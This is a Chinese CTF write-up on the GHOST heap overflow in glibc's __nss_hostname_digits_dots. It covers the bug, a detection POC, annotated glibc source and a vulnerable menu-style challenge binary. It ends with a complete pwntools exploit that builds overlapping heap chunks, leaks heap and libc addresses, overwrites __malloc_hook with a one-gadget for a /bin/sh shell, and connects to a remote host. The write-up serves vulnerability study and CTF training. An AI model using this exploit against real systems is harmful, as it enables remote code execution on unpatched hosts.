GHOST漏洞解析与题解
GHOST漏洞解析与题解
漏洞描述
- glibc的__nss_hostname_digits_dots存在缓冲区溢出漏洞，导致使用gethostbyname系列函数的某些软件存在代码执行或者信息泄露的安全风险
- 通过gethostbyname()函数或gethostbyname2()函数，将可能产生一个堆上的缓冲区溢出
- 经由gethostbyname_r()或gethostbyname2_r()，则会触发调用者提供的缓冲区溢出
- 漏洞产生时至多sizeof(char* )个字节可被覆盖
- 影响范围：2.2 <= glibc <=2.17
- gethostbyname*()系列函数
#include <netdb.h>
struct hostent * gethostbyname(const char * hostname); //根据输入的主机名，查找IP地址
/* Glibc2 also has reentrant versions gethostent_r(), gethostbyaddr_r(), gethostbyname_r() and gethostbyname2_r().
The caller supplies a hostent structure ret which will be filled in on success, and a temporary work buffer buf of size buflen.
After the call, result will point to the result on success. */
int gethostbyname_r( //和gethostbyname原理一样，只是内存分配交给用户
const char *name, //要解析的名字
struct hostent *ret, //保存返回值的地方
char *buf, //这个函数运行时的缓冲区
size_t buflen, //缓冲区长度
struct hostent **result,//如果失败，则result为null，如果成功则指向ret
int *h_errnop //保存错误代码
);
- 结构体
/* Description of data base entry for a single host. 描述一个地址最基本的条目 */
struct hostent
{
char *h_name; /* Official name of host. 正式主机名*/
char **h_aliases; /* Alias list. 别名*/
int h_addrtype; /* Host address type. IP地址类型*/
int h_length; /* Length of address. 地址长度*/
char **h_addr_list; /* List of addresses from name server. IP地址列表*/
};
- 用法
#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
int main(int argc, char** argv){
char* name = argv[1];
struct hostent* host = gethostbyname(name);
if(host==NULL)
printf("error\n");
else{
printf("%s\n", host->h_name);
for(int i=0; host->h_aliases[i]!=NULL; i++)
printf("\t%s\n", host->h_aliases[i]);
printf("IP type %d, IP addr len %d\n", host->h_addrtype, host->h_length);
char buffer[INET_ADDRSTRLEN];
for(int i=0; host->h_addr_list[i]!=NULL; i++){
char* ip = inet_ntop(host->h_addrtype, host->h_addr_list[i], buffer, sizeof(buffer));
printf("\t%s\n", ip);
}
}
}
https://blog.csdn.net/daiyudong2020/article/details/51946080
- 特殊点：
如果name输入的是IP地址，则不会去DNS查询，而是直接写入到hostent指向的内存区中，这里因为没有进行合法性判断，所以输入奇怪的IP，比如检测代码中的一串0。它会被直接写入tmp.buffer，一同写入的还包括解析的主机信息。所以就很容易超过tmp.buffer的长度，造成溢出。
POC
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#define CANARY "in_the_coal_mine"
struct
{
char buffer[1024];
char canary[sizeof(CANARY)];
} temp = {"buffer", CANARY};
int main(void)
{
struct hostent resbuf;
struct hostent *result;
int herrno;
int retval;
/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
size_t len = sizeof(temp.buffer) - 16 * sizeof(unsigned char) - 2 * sizeof(char *) - 1;
char name[sizeof(temp.buffer)];
memset(name, '0', len);
name[len] = '\0';
retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
if (strcmp(temp.canary, CANARY) != 0)
{
puts("vulnerable");
exit(EXIT_SUCCESS);
}
if (retval == ERANGE)
{
puts("not vulnerable");
exit(EXIT_SUCCESS);
}
puts("should not happen");
exit(EXIT_FAILURE);
}
源码分析
gethostbyname函数入口点在inet/gethsbynm.c系列文件中
#define LOOKUP_TYPE struct hostent
#define FUNCTION_NAME gethostbyname
#define DATABASE_NAME hosts
#define ADD_PARAMS const char *name
#define ADD_VARIABLES name
#define BUFLEN 1024
#define NEED_H_ERRNO 1
#define HANDLE_DIGITS_DOTS 1
#include <nss/getXXbyYY.c> //通过宏达到模版展开的效果- nss/getXXbyYY.c也先通过__nss_hostname_digits_dots()判断是否为IP,
- 如果要解析IP的话就直接结束
- 如果是域名那么后面调用__gethostbyname_r()进行解析
//根据宏定义, 会自动被展开为一个函数定义, 这里会展开为gethostbyname()的定义
LOOKUP_TYPE *FUNCTION_NAME(const char *name) //函数定义
{
static size_t buffer_size; //静态缓冲区的长度
static LOOKUP_TYPE resbuf;
LOOKUP_TYPE *result;
#ifdef NEED_H_ERRNO
int h_errno_tmp = 0;
#endif
/* Get lock. */
__libc_lock_lock(lock);
if (buffer == NULL) //如果没有缓冲区就自己申请一个
{
buffer_size = BUFLEN;
buffer = (char *)malloc(buffer_size);
}
#ifdef HANDLE_DIGITS_DOTS
if (buffer != NULL)
{
/*
- 发生漏洞的函数
- __nss_hostname_digits_dots()先对name进行预处理
- 如果要解析的name就是IP, 那就复制到resbuf中, 然后返回1
- 如果是域名, 那么就复制到resbuf中, 返回0
- 如果返回1, 说明解析的就是IP, 你那么进入done, 解析结束
*/
if (__nss_hostname_digits_dots(name, //传入的参数: 域名
&resbuf, //解析结果
&buffer, //缓冲区
&buffer_size, //缓冲区大小指针
0, //缓冲区大小
&result, //存放结果的指针
NULL, //存放状态的指针
AF_VAL, //地址族
H_ERRNO_VAR_P //错误代码
))
goto done;
}
#endif
/* DNS域名解析，宏展开
* (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR)
* => (INTERNAL(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp)
* => (INTERNAL1(gethostbyname_r)(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp)
* => __gethostbyname_r(name, &resbuf, buffer, buffer_size, &result, &h_errno_tmp)
*/
while (buffer != NULL && (INTERNAL(REENTRANT_NAME)(ADD_VARIABLES, &resbuf, buffer, buffer_size, &result H_ERRNO_VAR) == ERANGE)
#ifdef NEED_H_ERRNO
&& h_errno_tmp == NETDB_INTERNAL
#endif
)
{
char *new_buf;
buffer_size *= 2;
new_buf = (char *)realloc(buffer, buffer_size);
if (new_buf == NULL)
{
/* We are out of memory. Free the current buffer so that the
process gets a chance for a normal termination. */
free(buffer);
__set_errno(ENOMEM);
}
buffer = new_buf;
}
if (buffer == NULL)
result = NULL;
#ifdef HANDLE_DIGITS_DOTS
done:
#endif
/* Release lock. */
__libc_lock_unlock(lock);
#ifdef NEED_H_ERRNO
if (h_errno_tmp != 0)
__set_h_errno(h_errno_tmp);
#endif
return result;
}
- 漏洞函数：nss/digits_dots.c :__nss_hostname_digits_dots(name, resbuf, buffer, …)
- 这个函数负责处理name为IP地址的情况, 当name为域名时只是进行一些复制工作
- name指向要解析的字符串
- resbuf指向存放解析结果的hostennt结构体
- buffer则为解析时所分配的空间, resbuf中的指针指向buffer分配的空间
int __nss_hostname_digits_dots(const char *name, //要解析的名字
struct hostent *resbuf, //存放结果的缓冲区
char **buffer, //缓冲区
size_t *buffer_size, //缓冲区长度 1K
size_t buflen, //0
struct hostent **result, //指向结果指针的指针
enum nss_status *status, //状态 NULL
int af, //地址族
int *h_errnop) //错误代码
{
int save;
//...
/*
* disallow names consisting only of digits/dots, unless they end in a dot.
* 不允许name只包含数字和点，除非用点结束
*/
if (isdigit(name[0]) || isxdigit(name[0]) || name[0] == ':') //name开头是十进制字符/十六进制字符/冒号，就判断为IP地址
{
const char *cp;
char *hostname;
//host_addr是一个指向16个unsignned char数组的指针
typedef unsigned char host_addr_t[16];
host_addr_t *host_addr;
//h_addr_ptrs就是一个指向两个char*数组的指针
typedef char *host_addr_list_t[2];
host_addr_list_t *h_addr_ptrs;
//别名的指针列表
char **h_alias_ptr;
//需要的空间
size_t size_needed;
//根据地址族计算IP地址长度
int addr_size;
switch (af)
{
case AF_INET: //IPV4
addr_size = INADDRSZ; //INADDRSZ=4
break;
case AF_INET6: //IPV6
addr_size = IN6ADDRSZ; //IN6ADDRSZ=16
break;
default:
af = (_res.options & RES_USE_INET6) ? AF_INET6 : AF_INET;
addr_size = af == AF_INET6 ? IN6ADDRSZ : INADDRSZ;
break;
}
//计算函数运行所需要的缓冲区大小，这里出了问题，没有给h_alias_ptr分配空间，因此产生溢出
size_needed = (sizeof(*host_addr) + sizeof(*h_addr_ptrs) + strlen(name) + 1); //16 + 16 + strlen(name) + 1
//如果buffer_size指针为空, 并且buflen还不够, 那么重新申请缓冲区时就没法更新buffer_size, 只能报错
if (buffer_size == NULL)
{
if (buflen < size_needed)
{
if (h_errnop != NULL)
*h_errnop = TRY_AGAIN;
__set_errno(ERANGE);
goto done;
}
}
else if (buffer_size != NULL && *buffer_size < size_needed) //如果给的缓冲区不足，就重新调整buffer空间
{
char *new_buf;
*buffer_size = size_needed; //新buffer_size
new_buf = (char *)realloc(*buffer, *buffer_size); //就把buffer空间调整到所需要的大小
//分配失败
if (new_buf == NULL)
{
save = errno;
free(*buffer);
*buffer = NULL;
*buffer_size = 0;
__set_errno(save);
if (h_errnop != NULL)
*h_errnop = TRY_AGAIN;
*result = NULL;
goto done;
}
*buffer = new_buf; //写入新缓冲区
}
//缓冲区初始化
memset(*buffer, '\0', size_needed);
//对缓冲区进行分割
host_addr = (host_addr_t *)*buffer; //占用0x10B [*buffer, *buffer + 0x10)
h_addr_ptrs = (host_addr_list_t *)((char *)host_addr + sizeof(*host_addr)); //占用0x10B [*buffer + 0x10, *buffer + 0x20)
//这里出了问题，没有给h_alias_ptr分配空间，因此产生溢出
h_alias_ptr = (char **)((char *)h_addr_ptrs + sizeof(*h_addr_ptrs)); //占用0x8B [*buffer + 0x20, *buffer + 0x28)
hostname = (char *)h_alias_ptr + sizeof(*h_alias_ptr); //占用strlen(name)+1 [*buffer + 0x28, *buffer + 0x28 + strlen(name) + 1)
if (isdigit(name[0])) //IPv4: 开头是数字
{
for (cp = name;; ++cp) //遍历name
{
if (*cp == '\0') //如果name结束了
{
int ok;
if (*--cp == '.') //如果是.\0这样的，则非法
break;
//IP地址是字符串表示，转换成网络序列保存在host_addr中, host_addr用的就是函数内部的缓冲区*buffer
if (af == AF_INET)
ok = __inet_aton(name, (struct in_addr *)host_addr);
else
{
assert(af == AF_INET6);
ok = inet_pton(af, name, host_addr) > 0;
}
//转换出错
if (!ok)
{
*h_errnop = HOST_NOT_FOUND;
if (buffer_size)
*result = NULL;
goto done;
}
//直接把name复制到hostname中, 用hostname作为结果中的h_name
//strcpy从*buffer+0x28开始写入strlen(name)+1, 产生溢出
resbuf->h_name = strcpy(hostname, name);
//没有别名
h_alias_ptr[0] = NULL;
resbuf->h_aliases = h_alias_ptr;
//h_addr_list只有一个
(*h_addr_ptrs)[0] = (char *)host_addr; //地址也是一样的
(*h_addr_ptrs)[1] = NULL;
resbuf->h_addr_list = *h_addr_ptrs;
//设置长度与IP地址类型
if (af == AF_INET && (_res.options & RES_USE_INET6))
{
//...
}
else
{
resbuf->h_addrtype = af;
resbuf->h_length = addr_size;
}
//返回的状态
//...
//结束
goto done;
}
if (!isdigit(*cp) && *cp != '.') //既不是字母，又不是. 那么就不是合法的IPv4，退出
break;
}
}
if ((isxdigit(name[0]) && strchr(name, ':') != NULL) || name[0] == ':') //IPv6: 开始是hex字符并且包含':'. 或者包含分号
{
//...
}
}
return 0;
done:
return 1;
}
- 判断IP地址的方法很简陋
- 在生成hostent结构体时出了问题没有计算h_alias_ptr
图示：
- 因此把hostname复制过去，在这里产生了溢出8B
- 函数的数据结构:
题目解析
题目源码
//gcc pwn.c -g -o pwn
#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <arpa/inet.h>
#define MAX 16
struct hostent* HostArr[MAX];
char* BufferArr[MAX];
char* NameArr[MAX];
int Menu(void)
{
puts("1.InputName");
puts("2.ShowHost");
puts("3.Delete");
puts("4.Exit");
printf(">>");
int cmd;
scanf("%d", &cmd);
return cmd;
}
void InputName(void)
{
//read idx
int idx;
printf("idx:");
scanf("%d", &idx);
if(idx<0 || idx>=MAX)
exit(0);
//alloc name buf
int len;
printf("len:");
scanf("%d", &len);
NameArr[idx] = malloc(len+1);
if(NameArr[idx]==NULL)
exit(0);
//read name
int i;
for(i=0; i<len; i++)
{
char C;
read(0, &C, 1);
NameArr[idx][i] = C;
if(NameArr[idx][i]=='\n')
break;
}
NameArr[idx][i]='\0';
//allloc buffer
int buffer_size = 0x20+len+1;
BufferArr[idx] = malloc(buffer_size);
//get host by name
HostArr[idx] = malloc(sizeof(struct hostent));
struct hostent* res;
int herrno;
gethostbyname_r(NameArr[idx], HostArr[idx], BufferArr[idx], buffer_size, &res, &herrno);
}
void ShowHost(void)
{
//read idx
int idx;
printf("idx:");
scanf("%d", &idx);
if(idx<0 || idx>=MAX)
exit(0);
struct hostent* host = HostArr[idx];
//host name
if(host->h_name!=NULL)
printf("%s\n", host->h_name);
//IP
if(host->h_addr_list!=NULL)
for(int i=0; host->h_addr_list[i]!=NULL; i++){
char* ip = host->h_addr_list[i];
printf("%s\n", ip);
}
}
void Delete(void)
{
//read idx
int idx;
printf("idx:");
scanf("%d", &idx);
if(idx<0 || idx>=MAX)
exit(0);
free(NameArr[idx]);
NameArr[idx]=NULL;
free(BufferArr[idx]);
BufferArr[idx]=NULL;
free(HostArr[idx]);
HostArr[idx]=NULL;
}
int main(int argc, char** argv)
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
int cmd=0;
while(1)
{
cmd = Menu();
if(cmd==1)
InputName();
else if(cmd==2)
ShowHost();
else if(cmd==3)
Delete();
else
break;
}
return 0;
}
- 编译时保护全开
- patchelf让编译出的文件使用2.17的libc
patchelf --set-interpreter `pwd`/ld.so.2 --set-rpath `pwd` ./pwn
思路
- 构造chunk重叠
- 覆盖size的目的是构造chunk重叠, 这样才能控制堆上的各种指针
- __nss_hostname_digits_dots向buffer写入时要求只能是.和十进制字符, 实测发现只写入0是最稳定可以溢出的
- hostent的size本来就是0x30, 只覆盖为一个’0’也还是0x30, 因此覆盖两个0, 让chunksize变成0x3030
- 自此又产生了三种思路,
- 如果覆盖为0x3031, 在chunk后面放0x21的在使用chunk, 直接得到一个非常大的UBchunk
- 使用top chunk作为后一个chunk, 从而与top合并
- 如果覆盖为0x3030, 那么可以通过P=0向前合并
- free时的检查
- check_in_chunk()检查最少的就是后一个chunkP=1, 并且不是top chunk的情况,
- 因此溢出Bufer的size为0x3031之后, 只需要再Buffer chunk+0x3030处伪造放上一个flat(0, 0x21, 0, 0)的chunk就可得到一个很大的UBchunk
- __nss_hostname_digits_dots在写入时对于name限制很多, 因此我们只用他去溢出size, 读入name的过程对字符限制很少, 因此总体思路为
- 利用gethostbyname_r()溢出size
- 利用read(0, name, ..)进行写入任意数据
泄露地址
- Show时会通过hostent结构体中得到指针进行输出, 因此我们打出chunk 重叠之后, 有两个思路
- 利用00写入覆盖hostent.h_name指针的最低字节, 使其指向某个指针, 然后泄露地址
- 直接Bin机制在hostent中写入指针, 然后写入地址
- 第二种更具有普适性, 不需要细致的调整, 因此选择第二个思路:
- 假如有N0 | B0|H0 | N1 | B1 | H1
- 利用__nss_hostname_digits_dots()在写入B0时溢出0的chunk size为0x3031
- 然后通过布局在H0+0x3030的位置放上flat(0, 0x21, 0, 0)伪造H0的nextchunk
f – ree(H0)即可打出chunk 重叠, 此时UB<=>(B0, H0, N1, B1, H1) - 然后通过切割UB, 使得UB的fd bk指针写入到H1内部, 如下图
- 然后show(3)即可泄露地址
getshell
- 有了地址之后getshell就很容易了
- 再N1 B1 H1后面通过布局0x70的chunk, 然后free掉, 进入Fastbin[0x70]
- 然后继续切割chunk, 修改fastbin chunk的fd为__malloc_hook-0x23, 利用0x7F伪造size
- 然后修改__malloc_hook为OGG
EXP
#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
from random import randint
context.log_level = 'debug'
context(arch='amd64', os='linux')
elf_path = "./pwn"
elf = ELF(elf_path)
libc = ELF('libc.so.6')
def Log(name):
log.success(name+' = '+hex(eval(name)))
if(len(sys.argv)==1): #local
cmd = [elf_path]
sh = process(cmd)
#proc_base = sh.libs()['/home/parallels/pwn']
else: #remtoe
sh = remote('118.190.62.234', 12435)
def Num(n):
sh.sendline(str(n))
def Cmd(n):
sh.recvuntil('>>')
Num(n)
def Name(idx, name):
Cmd(1)
sh.recvuntil('idx:')
Num(idx)
sh.recvuntil('len:')
Num(len(name))
sh.sendline(name)
def Show(idx):
Cmd(2)
sh.recvuntil('idx:')
Num(idx)
def Delete(idx):
Cmd(3)
sh.recvuntil('idx:')
Num(idx)
#chunk overlap
Name(0, '0'*0x2F)
Name(1, '0'*0x40+'10')
Name(2, '0'*0x5F)
Name(3, '0'*0x1F)
Delete(3)
Name(3, '0'*0x1F) #switch Name and Host
Name(10, '0'*0x5F)
Name(11, '0'*0x5F)
Name(12, '0'*0x5F)
Name(13, '0'*0x5F)
exp = '0'*0x2950
exp+= flat(0, 0x21, 0, 0) #B0's next chunk
Name(5, exp)
Delete(1) #UB<=>(H0, 0x3030)
#leak addr
exp = '0'.ljust(0x7F, '\x00')
Name(6, exp) #split UB chunk, H3's h_addr_list=UB's bk
Show(3)
sh.recvuntil('0'*0x1F+'\n\n')
heap_addr = u64(sh.recv(6).ljust(8, '\x00'))-0x358
Log('heap_addr')
sh.recv(17)
libc.address = u64(sh.recv(6).ljust(8, '\x00'))-0x3c17a8
Log('libc.address')
#fastbin Attack
Delete(10)
exp = '0'*0x4F
Name(7, exp)
exp = '0'*0x10
exp+= flat(0, 0x71, libc.symbols['__malloc_hook']-0x23)
exp = exp.ljust(0xBF, '0')
Name(7, exp)
Name(8, '0'*0x5F)
exp = '0'*0x13
exp+= p64(libc.address+0x462b8)
Name(8, exp.ljust(0x5F, '0'))
#gdb.attach(sh, '''
#heap bins
#telescope 0x202040+0x0000555555554000 48
#break malloc
#''')
sh.interactive()
'''
NameArr telescope 0x202040+0x0000555555554000
HostArr telescope 0x2020C0+0x0000555555554000
BufferArr telescope 0x2022C0+0x0000555555554000
0x46262 execve("/bin/sh", rsp+0x40, environ)
constraints:
rax == NULL
0x462b8 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0xe66b5 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
'''